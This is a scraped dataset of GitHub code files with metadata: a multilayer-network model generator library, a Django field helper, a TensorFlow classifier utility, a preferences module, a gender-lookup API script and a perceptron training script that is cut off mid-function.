MultilayerNetwork\n The multilayer network that is produced.\n \"\"\"\n\n\n if not hasattr(layers,'__iter__'): #is not sequence\n layers=range(layers)\n\n n=MultilayerNetwork(aspects=1)\n for layer1 in layers:\n for layer2 in layers:\n for node1 in range(nodes):\n for node2 in range(node1+1,nodes):\n if node1!=node2 or layer1!=layer2:\n if random.random()= nstubs\n \n random.shuffle(stubs)\n \n for s in range(int(len(stubs)/2)):\n node1,node2=sorted([stubs[2*s],stubs[2*s+1]])\n \n edgetoindex[(node1,node2)]=edgetoindex.get((node1,node2),[])+[2*s]\n \n if node1==node2:\n selfedges[node1]=selfedges.get(node1,[])+[2*s]\n elif net_temp[node1,node2]!=0:\n multiedges.add((node1,node2))\n elif (node1, node2) in used_edges:\n takenedges.add((node1,node2))\n else:\n net_temp[node1,node2]=1\n used_edges.add((node1, node2))\n \n for node,sis in selfedges.items():\n for si in sis:\n repeat=True\n while repeat:\n #select two edges at random\n e1i,e2i=map(lambda x:2*x,random.sample(xrange(int(len(stubs)/2)),2))\n c=[node,stubs[e1i],stubs[e1i+1],stubs[e2i],stubs[e2i+1]]\n n2,n3=sorted([c[1],c[2]])\n n4,n5=sorted([c[3],c[4]])\n if len(set(c))==len(c):\n if (n2,n3) not in multiedges and (n4,n5) not in multiedges and (n2,n3) not in takenedges and (n4,n5) not in takenedges:\n e1 = tuple(sorted([node, n2]))\n e2 = tuple(sorted([node, n4]))\n e3 = tuple(sorted([n3, n5]))\n if e1 not in used_edges and e2 not in used_edges and e3 not in used_edges:\n net_temp[n2,n3]=0\n net_temp[n4,n5]=0\n net_temp[node,n2]=1\n net_temp[node,n4]=1\n net_temp[n3,n5]=1\n stubs[si],stubs[si+1]=sorted([n3,n5])\n stubs[e1i],stubs[e1i+1]=sorted([node,n2])\n stubs[e2i],stubs[e2i+1]=sorted([node,n4])\n repeat=False\n \n used_edges.remove((n2,n3))\n used_edges.remove((n4,n5))\n used_edges.add(e1)\n used_edges.add(e2)\n used_edges.add(e3)\n \n for n1,n2 in multiedges:\n for dummy in range(int(math.floor(len(edgetoindex[(n1,n2)])/2.))):\n repeat=True\n while repeat:\n #select two edges at random\n e1i,e2i=map(lambda x:2*x,random.sample(xrange(int(len(stubs)/2)),2))\n c=[n1,n2,stubs[e1i],stubs[e1i+1],stubs[e2i],stubs[e2i+1]]\n n3,n4=sorted([c[2],c[3]])\n n5,n6=sorted([c[4],c[5]])\n if len(set(c))==len(c):\n if (n3,n4) not in multiedges and (n5,n6) not in multiedges and (n3,n4) not in takenedges and (n5,n6) not in takenedges:\n e1 = tuple(sorted([n1,n3]))\n e2 = tuple(sorted([n2,n4]))\n e3 = tuple(sorted([n1,n5]))\n e4 = tuple(sorted([n2,n6]))\n if e1 not in used_edges and e2 not in used_edges and e3 not in used_edges and e4 not in used_edges: #net[n1,n3]==0 and net[n2,n4]==0 and net[n1,n5]==0 and net[n2,n6]==0:\n if len(edgetoindex[n1,n2])==2:\n net_temp[n1,n2]=0\n used_edges.remove((n1,n2))\n net_temp[n3,n4]=0\n net_temp[n5,n6]=0\n net_temp[n1,n3]=1\n net_temp[n2,n4]=1\n net_temp[n1,n5]=1\n net_temp[n2,n6]=1\n si1,si2=sorted([edgetoindex[n1,n2].pop(),edgetoindex[n1,n2].pop()])\n stubs[si1],stubs[si1+1]=sorted([n1,n3])\n stubs[si2],stubs[si2+1]=sorted([n2,n4])#stubs[si1],stubs[si1+1]=sorted([n2,n4])\n stubs[e1i],stubs[e1i+1]=sorted([n1,n5])\n stubs[e2i],stubs[e2i+1]=sorted([n2,n6])\n repeat=False\n \n used_edges.remove((n3,n4))\n used_edges.remove((n5,n6))\n used_edges.add(e1)\n used_edges.add(e2)\n used_edges.add(e3)\n used_edges.add(e4)\n \n for n1,n2 in takenedges:\n for si1 in edgetoindex[(n1,n2)]:\n repeat=True\n while repeat:\n #select two edges at random\n e1i,e2i=map(lambda x:2*x,random.sample(xrange(int(len(stubs)/2)),2))\n c=[n1,n2,stubs[e1i],stubs[e1i+1],stubs[e2i],stubs[e2i+1]]\n n3,n4=sorted([c[2],c[3]])\n n5,n6=sorted([c[4],c[5]])\n if len(set(c))==len(c):\n if (n3,n4) not in takenedges and (n5,n6) not in takenedges:\n e1 = tuple(sorted([n1,n3]))\n e2 = tuple(sorted([n2,n5]))\n e3 = tuple(sorted([n4,n6]))\n if e1 not in used_edges and e2 not in used_edges and e3 not in used_edges:\n assert net_temp[n3,n4]==1\n assert net_temp[n5,n6]==1\n net_temp[n3,n4]=0\n net_temp[n5,n6]=0\n net_temp[n1,n3]=1\n net_temp[n2,n5]=1\n net_temp[n4,n6]=1\n \n stubs[si1],stubs[si1+1]=sorted([n1,n3])\n stubs[e1i],stubs[e1i+1]=sorted([n2,n5])\n stubs[e2i],stubs[e2i+1]=sorted([n4,n6])\n repeat=False\n \n used_edges.remove((n3,n4))\n used_edges.remove((n5,n6))\n used_edges.add(e1)\n used_edges.add(e2)\n used_edges.add(e3)\n \n for e in net_temp.edges:\n for layer in layer_comb:\n net[e[0], e[1], layer] = 1\n \n return net\n\n\ndef er_overlaps_match_aggregated(n, edges, ps, couplings=None):\n '''\n Generates a multiplex Erdos-Renyi networks which produces an aggregated\n network with given number of edges. The target it that the aggregated \n network of the resulting network has edges * n_layers edges.\n \n The algorithm goes through each of the user-given layer combinations with\n 2 or more layers. It generates an ER graph which does not include any edges\n that are already in any of the layers of the combination. It then copies\n the edges of that ER graph to all of the layers of the combination.\n\n \n\n\n Parameters\n ----------\n n : int\n Number of nodes\n edges : int\n Number of edges in each layer\n ps : dict\n Proportions of overlapping edges in each layer combination given as \n keys (note that the sum of these proportions should not exceed 1 for \n any one layer). The trivial combinations including only a single layer\n do not need to be given (and if they are given, the given proportions\n are ignored).\n couplings : None or tuple\n The coupling types of the multiplex network object.\n\n Returns\n -------\n net : MultiplexNetwork\n The multiplex network produced\n '''\n \n net = MultiplexNetwork(couplings=couplings)\n used_edges = set()\n \n e_left = {}\n for layer_comb in ps:\n if len(layer_comb) == 1:\n e_left[layer_comb[0]] = e_left.get(layer_comb[0], edges)\n continue\n p = ps[layer_comb]\n m = int(round(p*edges))\n k = len(layer_comb)\n if k > 1:\n for layer in layer_comb:\n e_left[layer] = e_left.get(layer, edges) - m\n i = 0\n while i < (k * m):\n edge_index = random.choice(xrange(int((n*(n-1))/2)))\n v=int(1+math.floor(-0.5+math.sqrt(0.25+2*edge_index)))\n w=edge_index-int((v*(v-1))/2)\n edge = (w, v)\n if edge not in used_edges:\n used_edges.add(edge)\n i += 1\n for layer in layer_comb:\n net[edge[0], edge[1], layer] = 1\n \n for layer in e_left:\n m = e_left[layer]\n i = 0\n while i < m:\n edge_index = random.choice(xrange(int((n*(n-1))/2)))\n v=int(1+math.floor(-0.5+math.sqrt(0.25+2*edge_index)))\n w=edge_index-int((v*(v-1))/2)\n edge = (w, v)\n if edge not in used_edges:\n used_edges.add(edge)\n i += 1\n net[edge[0], edge[1], layer] = 1\n \n return net\n\n \ndef ba_total_degree(n, ms, couplings=None):\n \"\"\"\n Generates a Barabasi-Albert multiplex network, where the preferential\n attachment process is run for each layer separately and concurrently\n in a way that the total degree of the node is used for the preferential\n attachment. That is, the new nodes attach preferentially to nodes that\n have high total degree (sum of degree in all layers).\n \n Parameters\n ----------\n n : int\n number of nodes\n ms : list of ints\n the numbers of links added to each new node for each layer\n couplings : None or tuple\n The coupling types of the multiplex network object.\n \n Returns\n -------\n net : MultiplexNetwork\n The multiplex network produced\n \n References\n ----------\n Kim, Jung Yeol, and K-I. Goh. \"Coevolution and correlated multiplexity in \n multiplex networks.\" Physical review letters 111.5 (2013): 058702.\n \"\"\"\n \n net = MultiplexNetwork(couplings=couplings)\n links = []\n \n for i in range(n):\n net.add_node(i)\n link_sets = []\n for layer, m in enumerate(ms):\n if i == m:\n link_set = set(range(i))\n \n elif i > m:\n link_set = set()\n while len(link_set) < m:\n link_set = link_set | set(random.sample(links, m - len(link_set)))\n \n else:\n link_set = set()\n \n link_sets.append(link_set)\n \n for j in link_set:\n net[i,j,layer] = 1\n \n for link_set in link_sets:\n links += list(link_set)\n links += [i]*(len(link_set))\n \n return net\n\n\ntry:\n from . import nxwrap as nx\n import networkx\n\n def ws(n, edges, p=0.3, couplings=None):\n \"\"\"\n Generates a multiplex network where each layer is generated\n using the same Watts-Strogatz model. \n\n Parameters\n ----------\n n : int\n Number of nodes\n edges : list of ints\n Number of edges in each layer\n p : float\n Probability of rewiring an edge\n couplings : None or tuple\n The coupling types of the multiplex network object.\n\n Returns\n -------\n net : MultiplexNetwork\n The multiplex network produced\n \"\"\"\n\n net = MultiplexNetwork(couplings=couplings)\n for layer, m in enumerate(edges):\n net.add_layer(layer)\n net.A[layer] = nx.watts_strogatz_graph(n, int(math.ceil(2*m / float(n))), p=p)\n\n return net\n \n \n def geo(n, edges, couplings=None):\n \"\"\"\n Generates a multiplex network where each layer is generated using the\n same soft geometric network model.\n\n The intra-layer networks are generated using the networkx function\n soft_random_geometeric_graph.\n \n Parameters\n ----------\n n : int\n Number of nodes\n edges : list of ints\n Approximate number of edges in each layer\n couplings : None or tuple\n The coupling types of the multiplex network object.\n\n Returns\n -------\n net : MultiplexNetwork\n The multiplex network produced\n\n Notes\n -----\n Works only with networkX2\n \"\"\"\n\n net = MultiplexNetwork(couplings=couplings)\n pos = None\n for layer, m in enumerate(edges):\n net.add_layer(layer)\n r = math.sqrt(2.2 * float(m) / ((n - 1.0) * n) / math.pi)\n netX = networkx.soft_random_geometric_graph(n, r, pos=pos)\n pos = networkx.get_node_attributes(netX, 'pos')\n for node in netX.nodes:\n net.add_node(node)\n\n for e in netX.edges:\n net[e[0], e[1], layer] = 1\n\n return net\nexcept ImportError:\n pass\n", "repo_name": "bolozna/Multilayer-networks-library", "sub_path": "pymnet/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 33269, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 94, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.shuffle", "line_number": 50, "usage_type": "call"}, {"api_name": "net.add_node", "line_number": 55, "usage_type": "call"}, {"api_name": "net.add_node", "line_number": 71, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 79, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 99, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 125, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 129, "usage_type": "call"}, {"api_name": "net.add_node", "line_number": 179, "usage_type": "call"}, {"api_name": "random.random", "line_number": 190, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 191, "usage_type": "call"}, {"api_name": "math.log", "line_number": 191, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 198, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 199, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 199, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 237, "usage_type": "argument"}, {"api_name": "net.MultilayerNetwork", "line_number": 246, "usage_type": "argument"}, {"api_name": "net.MultilayerNetwork", "line_number": 254, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 280, "usage_type": "call"}, {"api_name": "net.add_layer", "line_number": 287, "usage_type": "call"}, {"api_name": "net.A", "line_number": 288, "usage_type": "attribute"}, {"api_name": "net.MultilayerNetwork", "line_number": 331, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 333, "usage_type": "call"}, {"api_name": "net.add_layer", "line_number": 356, "usage_type": "call"}, {"api_name": "net.A", "line_number": 357, "usage_type": "attribute"}, {"api_name": "net.add_layer", "line_number": 363, "usage_type": "call"}, {"api_name": "net.A", "line_number": 364, "usage_type": "attribute"}, {"api_name": "net.MultiplexNetwork", "line_number": 389, "usage_type": "call"}, {"api_name": "net.add_layer", "line_number": 391, "usage_type": "call"}, {"api_name": "net.A", "line_number": 392, "usage_type": "attribute"}, {"api_name": "net.MultilayerNetwork", "line_number": 418, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 424, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 431, "usage_type": "call"}, {"api_name": "net.MultilayerNetwork", "line_number": 461, "usage_type": "call"}, {"api_name": "net.MultilayerNetwork", "line_number": 496, "usage_type": "call"}, {"api_name": "random.random", "line_number": 502, "usage_type": "call"}, {"api_name": "random.random", "line_number": 504, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 552, "usage_type": "call"}, {"api_name": "net.MultilayerNetwork", "line_number": 565, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 580, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 602, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 629, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 633, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 672, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 743, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 759, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 760, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 760, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 773, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 774, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 774, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 813, "usage_type": "call"}, {"api_name": "net.add_node", "line_number": 817, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 826, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 869, "usage_type": "call"}, {"api_name": "net.add_layer", "line_number": 871, "usage_type": "call"}, {"api_name": "net.A", "line_number": 872, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 872, "usage_type": "call"}, {"api_name": "net.MultiplexNetwork", "line_number": 904, "usage_type": "call"}, {"api_name": "net.add_layer", "line_number": 907, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 908, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 908, "usage_type": "attribute"}, {"api_name": "networkx.soft_random_geometric_graph", "line_number": 909, "usage_type": "call"}, {"api_name": "networkx.get_node_attributes", "line_number": 910, "usage_type": "call"}, {"api_name": "net.add_node", "line_number": 912, "usage_type": "call"}]} {"seq_id": "21178110970", "text": "# -*- coding: utf-8 -*-\n\nfrom django.core import exceptions\nfrom django.conf import settings\nfrom django.db.models import fields\n\nclass BigAutoField(fields.AutoField): \n def db_type(self, connection=None):\n for item in settings.DATABASES:\n if settings.DATABASES[item]['ENGINE'] == 'django.db.backends.postgresql_psycopg2':\n return \"bigserial\"\n else:\n raise NotImplemented\n \n def get_internal_type(self):\n return \"BigAutoField\"\n \n def to_python(self, value):\n if value is None:\n return value\n try:\n return long(value)\n except (TypeError, ValueError):\n raise exceptions.ValidationError(\n _(\"This value must be a long integer.\"))", "repo_name": "rubydhash/webradius", "sub_path": "webradius-project/webradius/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 783, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.fields.AutoField", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.models.fields", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.settings.DATABASES", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.settings.DATABASES", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 10, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 24, "usage_type": "call"}, {"api_name": "django.core.exceptions", "line_number": 24, "usage_type": "name"}]} {"seq_id": "36493583016", "text": "import os\nimport numpy as np\nimport pandas as pd\n\nfrom loguru import logger\nfrom sklearn.model_selection import train_test_split\n\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.wrappers.scikit_learn import KerasClassifier\n\nfrom data_quality.config import *\n\n\ndef tokenize(sentences_train, sentences_test, vocab_size, col_count):\n tokenizer = Tokenizer(num_words=vocab_size + 1)\n tokenizer.fit_on_texts(sentences_train)\n\n X_train = tokenizer.texts_to_sequences(sentences_train)\n X_test = tokenizer.texts_to_sequences(sentences_test)\n\n vocab_size = len(tokenizer.word_index) + 1\n\n maxlen = col_count + 1\n\n X_train = pad_sequences(X_train, padding=\"post\", maxlen=maxlen)\n X_test = pad_sequences(X_test, padding=\"post\", maxlen=maxlen)\n\n return X_train, X_test\n\n\ndef classifier(vocab_size, col_count):\n embedding_dim = EMBEDDING_DIM\n opt = tf.keras.optimizers.Adam(learning_rate=LEARNING_RATE)\n\n model = Sequential()\n model.add(\n layers.Embedding(\n input_dim=vocab_size, output_dim=embedding_dim, input_length=col_count + 1\n )\n )\n\n model.add(layers.Conv1D(embedding_dim, 5, activation=\"relu\"))\n model.add(layers.GlobalMaxPooling1D())\n model.add(layers.Dropout(DROPOUT_RATE))\n model.add(layers.BatchNormalization())\n model.add(layers.Dense(HIDDEN_DIM, activation=\"relu\"))\n model.add(layers.Dropout(DROPOUT_RATE))\n model.add(layers.Dense(col_count + 1, activation=\"sigmoid\"))\n model.compile(optimizer=opt, loss=\"binary_crossentropy\")\n model.summary()\n\n\ndef prepare_data_for_classsifier(df, vocab_size, col_count):\n sentences = df[\"predicted_sentence\"].values\n masked_indices = df[\"masked_index\"].values\n\n b = np.zeros((masked_indices.size, masked_indices.max() + 1))\n b[np.arange(masked_indices.size), masked_indices] = 1\n\n y = df[\"label\"].values\n y = np.concatenate((y.reshape(-1, 1), b), axis=1)\n\n sentences_train, sentences_test, y_train, y_test = train_test_split(\n sentences, y, test_size=0.2, random_state=1000\n )\n\n x_train, x_test = tokenize(sentences_train, sentences_test, vocab_size, col_count)\n\n return x_train, x_test, y_train, y_test\n\n\ndef train_classifier(classifier_data_path, vocab_size, col_count):\n df = pd.read_csv(classifier_data_path, vocab_size, col_count)\n\n x_train, x_test, y_train, t_test = prepare_data_for_classsifier(\n df, vocab_size, col_count\n )\n _ = model.fit(\n x_train,\n y_train,\n epochs=CLF_TRAIN_EPOCHS,\n verbose=True,\n validation_data=(x_test, y_test),\n batch_size=CLF_TRAIN_BATCH_SIZE,\n )\n", "repo_name": "rkhilnani9/data-quality", "sub_path": "data_quality/clf_utils.py", "file_name": "clf_utils.py", "file_ext": "py", "file_size_in_byte": 2819, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tensorflow.keras.preprocessing.text.Tokenizer", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Embedding", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 41, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 46, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.GlobalMaxPooling1D", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 47, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 48, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 49, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 50, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 51, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 77, "usage_type": "call"}]} {"seq_id": "18526459515", "text": "\nfrom typing import Dict\n\nimport sys\n\nimport os\n\nfrom org.pyut.PyutConstants import PyutConstants\nfrom org.pyut.general.exceptions.PreferencesLocationNotSet import PreferencesLocationNotSet\nfrom org.pyut.preferences.BaseSubPreference import BaseSubPreference\n\nPREFS_NAME_VALUES = Dict[str, str]\n\n\nclass PreferencesCommon(BaseSubPreference):\n\n preferencesFileLocationAndName: str = None\n\n def init(self, *args, **kwds):\n\n BaseSubPreference.init(self, *args, **kwds)\n\n @staticmethod\n def determinePreferencesLocation():\n \"\"\"\n This method MUST (I repeat MUST) be called before attempting to instantiate the preferences Singleton\n \"\"\"\n if sys.platform == \"linux2\" or sys.platform == \"linux\" or sys.platform == PyutConstants.THE_GREAT_MAC_PLATFORM:\n PreferencesCommon.preferencesFileLocationAndName = os.getenv(\"HOME\") + \"/.PyutPrefs.dat\"\n else:\n PreferencesCommon.preferencesFileLocationAndName = \"PyutPrefs.dat\"\n\n @staticmethod\n def getPreferencesLocation():\n if PreferencesCommon.preferencesFileLocationAndName is None:\n raise PreferencesLocationNotSet()\n else:\n return PreferencesCommon.preferencesFileLocationAndName\n\n def addMissingPreference(self, sectionName: str, preferenceName: str, value: str):\n self._config.set(sectionName, preferenceName, value)\n self.saveConfig()\n\n def saveConfig(self):\n \"\"\"\n Save data to the preferences file\n \"\"\"\n f = open(PreferencesCommon.getPreferencesLocation(), \"w\")\n self._config.write(f)\n f.close()\n", "repo_name": "cjwang/PyUt", "sub_path": "src/org/pyut/preferences/PreferencesCommon.py", "file_name": "PreferencesCommon.py", "file_ext": "py", "file_size_in_byte": 1617, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Dict", "line_number": 12, "usage_type": "name"}, {"api_name": "org.pyut.preferences.BaseSubPreference.BaseSubPreference", "line_number": 15, "usage_type": "name"}, {"api_name": "org.pyut.preferences.BaseSubPreference.BaseSubPreference.init", "line_number": 21, "usage_type": "call"}, {"api_name": "org.pyut.preferences.BaseSubPreference.BaseSubPreference", "line_number": 21, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 28, "usage_type": "attribute"}, {"api_name": "org.pyut.PyutConstants.PyutConstants.THE_GREAT_MAC_PLATFORM", "line_number": 28, "usage_type": "attribute"}, {"api_name": "org.pyut.PyutConstants.PyutConstants", "line_number": 28, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 29, "usage_type": "call"}, {"api_name": "org.pyut.general.exceptions.PreferencesLocationNotSet.PreferencesLocationNotSet", "line_number": 36, "usage_type": "call"}]} {"seq_id": "7624887510", "text": "# importing required libraries\r\nimport json\r\nfrom urllib.request import urlopen\r\nname=input(\"Please Enter your Name : \")\r\n# create an free account in www.gender-api.com\r\n# account activation will take some time...\r\n# after activation get the authentication key and use it in mykey\r\nmykey=\"paste your key here\" \r\n#url to open and get the response\r\nurl=\"https://gender-api.com/get?name=\"\r\n#concatinating the name you entered and your api key..\r\ntry:\r\n url=url+f\"{name}&key={mykey}\"\r\n#opening the final url...\r\n respose=urlopen(url)\r\n#decoding the data to json format\r\n decode=respose.read().decode(\"utf-8\")\r\n data=json.loads(decode)\r\n# printing the gender of the name you entered...\r\n print(\"Gender : \"+data[\"gender\"])\r\nexcept(Exception):\r\n print(\"please enter the valid name..\")\r\n\r\n", "repo_name": "shaikaneef/GenderDetection", "sub_path": "gender_detection.py", "file_name": "gender_detection.py", "file_ext": "py", "file_size_in_byte": 794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib.request.urlopen", "line_number": 15, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 18, "usage_type": "call"}]} {"seq_id": "35197062161", "text": "import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\n#參數\nlearn_rate = 0.2\nepoch = 100\naccuracy = 0.9\n\n#input data\ndata = []\nsol = []\nsol_class = []\n\n#store final solution\nbest_ac = 0.0\nbest_w = []\nfinal_ac = 0.0\n\n\ndef data_input(path):\n #read file\n file_c = False\n while(file_c == False):\n try:\n f = open(path)\n file_c = True \n except:\n print(\"can't find file\")\n return False\n \n for line in f:\n #repace '\\n' to ''\n line = line.replace('\\n', '')\n #split and string to int\n sp = line.split(\" \")\n data_x = [-1]\n data_y = 0\n count = 0\n for item in sp: \n if(count == (len(sp)-1)):\n data_y = int(item)\n else:\n data_x.append(float(item))\n count = count + 1\n\n \n data.append(data_x)\n sol.append(data_y)\n\n #紀錄class label\n if len(sol_class) == 0:\n sol_class.append(data_y)\n else:\n ch = True\n for item in sol_class:\n if(item == data_y):\n ch = False\n break\n if(ch == True):\n sol_class.append(data_y)\n f.close()\n \n \ndef paint(data, sol, status ):\n x = []\n y = []\n x2 = []\n y2 = []\n for i in range(len(data)):\n for j in range(len(data[i])):\n \n if(sol[i] == 1):\n x.append(data[i][1])\n y.append(data[i][2])\n else:\n x2.append(data[i][1])\n y2.append(data[i][2])\n max_x = 0\n min_x = 0\n max_y = 0\n min_y = 0\n # 座標最大 最小\n if(len(x) != 0 and len(x2)!= 0):\n max_x = max([max(x), max(x2)])\n min_x = min([min(x), min(x2)])\n elif(len(x) != 0):\n max_x = max(x)\n min_x = min(x)\n elif(len(x2)!= 0):\n max_x = max(x2)\n min_x = min(x2)\n\n\n if(len(y) != 0 and len(y2)!= 0):\n max_y = max([max(y), max(y2)])\n min_y = min([min(y), min(y2)])\n elif(len(y) != 0):\n max_y = max(y)\n min_y = min(y)\n elif(len(y2)!= 0):\n max_y = max(y2)\n min_y = min(y2)\n \n plt.plot(x, y ,'r^')\n plt.plot(x2, y2 ,'gs')\n if(best_w[2] != 0):\n plt.plot([max_x, min_x], [(best_w[0] - best_w[1] * max_x)/best_w[2], (best_w[0] - best_w[1] * min_x)/best_w[2]] ,'y--')\n else:\n plt.plot([max_x, min_x], [max_y, min_y] ,'y--')\n \n\n #存檔的path\n path_spilt = path.split('\\\\')\n path_spilt = path.split('/')\n name = (path_spilt[len(path_spilt)-1].split('.'))[0]\n try:\n if(status == 0):\n plt.savefig('dataset/image/' + name + '_train_data.jpg')\n else:\n plt.savefig('dataset/image/' + name + '_all_data.jpg')\n except:\n print(\"--------******************************************* -----\")\n print(\"-------- can't find path, path is dataset/image/ -----\")\n print(\"--------******************************************* -----\")\n plt.show()\n\n\ndef data_split():\n data_train = []\n sol_train = [] \n data_test = []\n sol_test = []\n #use random() \n for j in range(len(data)):\n if(random.random() >= 0.33):\n data_train.append(data[j])\n sol_train.append(sol[j])\n else:\n data_test.append(data[j])\n sol_test.append(sol[j])\n \n #防止data_test沒有資料 \n if(len(data_test) == 0):\n ran = random.randint(0, len(data_train)-1)\n data_test.append(data_train[ran])\n sol_test.append(sol[j])\n del data_train[ran]\n del sol_train[ran]\n\n return data_train, sol_train, data_test, sol_test\n\n\n \ndef train():\n global best_ac\n global best_w \n global accuracy\n global final_ac\n \n #初始weight\n \n w = [-1]\n #初始weight\n if(len(sol_class) > 2):\n for i in range(len(sol_class)):\n w.append(random.random())\n else:\n w = [-1,1, 0]\n \n data_train = []\n data_test = []\n sol_train = []\n sol_test = []\n predict = 0\n\n pre_ac = 0\n pre_w = []\n data_train, sol_train, data_test, sol_test = data_split()\n\n \n #start train\n for i in range(epoch): \n predict = 0\n for j in range(len(data_train)):\n sum = 0\n for k in range(len(data_train[j])):\n sum = sum + data_train[j][k] * w[k]\n \n \n if(sum >= 0):\n predict = sol_class[0]\n if(predict != sol_train[j]):\n for k in range(len(w)):\n w[k] = w[k] - (learn_rate)/(1+i/10) * data_train[j][k]\n if(sum < 0):\n predict = sol_class[1]\n if(predict != sol_train[j]):\n for k in range(len(w)):\n w[k] = w[k] + (learn_rate)/(1+i/10) * data_train[j][k]\n \n \n #evalute\n count = 0\n for j in range(len(data_train)):\n sum = 0\n for k in range(len(data_train[j])):\n sum = sum + data_train[j][k] * w[k]\n \n \n if(sum >= 0):\n predict = sol_class[0]\n if(sum < 0):\n predict = sol_class[1]\n if(predict == sol[j]):\n count = count + 1\n print(\"epoch: \" + str(i+1) + \"\\ntrain accuracy:\", count/len(data_train))\n\n\n \n count = 0\n for j in range(len(data_test)):\n sum = 0\n for k in range(len(data_test[j])):\n sum = sum + data_test[j][k] * w[k]\n \n if(sum >= 0):\n predict = sol_class[0]\n if(sum < 0):\n predict = sol_class[1]\n if(predict == sol_test[j]):\n count = count + 1\n ac = count/len(data_test)\n \n if(pre_ac > ac):\n w = pre_w\n ac = pre_ac\n else:\n pre_ac = ac\n pre_w = w\n \n #record best accuracy\n if(best_ac < ac):\n best_ac = ac\n best_w = w\n \n \n \n print(\"test accuracy:\", str(ac))\n \n count = 0\n for j in range(len(data)):\n sum = 0\n for k in range(len(data[j])):\n sum = sum + 